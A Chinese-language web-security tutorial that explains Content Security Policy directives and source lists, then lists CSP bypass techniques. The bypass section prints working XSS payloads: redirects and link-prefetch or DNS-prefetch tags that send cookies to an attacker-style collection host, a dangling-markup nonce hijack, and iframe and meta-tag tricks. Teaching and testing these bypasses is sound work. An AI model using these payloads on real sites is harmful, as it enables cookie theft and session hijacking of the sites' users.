CSP策略及简单绕过
一、CSP策略简介
内容安全策略 (CSP, Content Security Policy)实质是白名单制度。开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。
二、如何启用CSP策略
- 通过 HTTP 头信息的 Content-Security-Policy
的字段
- 通过网页的 <meta> 标签
三、CSP策略组成
一个CSP头由多组CSP策略组成,中间由分号分隔。
Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'
其中每一组策略包含一个策略指令和一个内容源列表。
1、常用的策略指令
- script-src:定义了页面中Javascript的有效来源。
- style-src:定义了页面中CSS样式的有效来源。
- img-src:定义了页面中图片和图标的有效来源。
- font-src:定义了字体加载的有效来源。
- connect-src:定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源。
- child-src:定义了 web workers 以及嵌套的浏览上下文(如<frame>和<iframe>)的源。
- default-src:定义了那些没有被更精确指令指定的安全策略。这些指令包括上面所有指令。
2、内容源
内容源有三种:源列表、关键字和数据
1)源列表
有效的主机表达式包括:
http://*.kin.com (匹配所有使用 http协议加载 kin.com 任何子域名的尝试。)
mail.kin.com:443 (匹配所有访问 mail.kin.com 的 443 端口 的尝试。)
https://store.kin.com (匹配所有使用 https协议访问 store.kin.com 的尝试。)
如果端口号没有被指定,浏览器会使用指定协议的默认端口号。如果协议没有被指定,浏览器会使用访问该文档时的协议。
举个例子:
CSP策略为:<meta http-equiv="Content-Security-Policy" content="script-src kin.com">,那么只允许 kin.com 这个域下的资源才能够进行引入。
则当访问为http://kin.com/test.php?csp=<script src="http://dz.com/1.js"></script>,只有1.js才可以被引入被触发。
2)关键字
- 'none':代表空集;即不匹配任何 URL。两侧单引号是必须的.
- 'self':代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的.
- 'unsafe-inline':允许使用内联资源,如内联的<script>元素、javascript: URL、内联的事件处理函数和内联的<style>元素,两侧单引号是必须的。
- 'unsafe-eval':允许使用
eval()等通过字符串创建代码的方法。两侧单引号是必须的。
Content-Security-Policy: script-src 'self' kin.com
举个例子:
http://dz.com/test.php?csp=<script src="http://kin.com/1.js"></script>
这种情况只能在 kin.com 域下才能进行引入 script 资源
如果CSP策略为:Content-Security-Policy: script-src 'none' kin.com。script-src包括了两者,none 和 kin.com,后者会覆盖前者,也就是允许 script-src 引入 kin.com 域下的资源。跟例子的效果是一样的。
3)数据
- data:允许 data: URI 作为内容来源。
- mediastream:允许 mediastream: URI 作为内容来源。
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:
举个例子:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
上面代码中,CSP 做了如下配置:
①、脚本script的src只信任当前域名(满足同源策略的条件)
②、<object>
标签中的src不信任任何URL,即不加载任何资源
③、样式表style中只信任cdn.example.org和third-party.org
④、框架(frame):必须使用HTTPS协议加载
⑤、其他资源:没有限制
四、CSP绕过方式
1、url跳转
1)在default-src 'none'的情况下,可以使用meta标签实现跳转
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
2)在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。
<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>
2、<link>标签预加载
CSP对link标签的预加载功能考虑不完善。
1)在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止)
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">
2)在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">
3、利用浏览器补全
有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:
Content-Security-Policy: default-src 'none';script-src 'nonce-abc'
那么当脚本插入点为如下情况时:
<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
可以插入:
<script src=//17.rs a="
这样会拼成一个新的script标签,其中的src可以自由设定.
<p><script src=//17.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
4、代码重用
例如假设页面中使用了Jquery-mobile库,并且CSP策略中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",那么下面的向量就可以绕过CSP:
<div data-role=popup id='<script>alert(1)</script>'></div>
5、iframe
1)如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:
<iframe src="B"></iframe>
2)在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
6、meta标签
meta标签有一些不常用的功能有时候有奇效:
meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。
<meta http-equiv="cache-control" content="public">
meta可以设置Cookie(Firefox下),可以结合self-xss利用。
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">
参考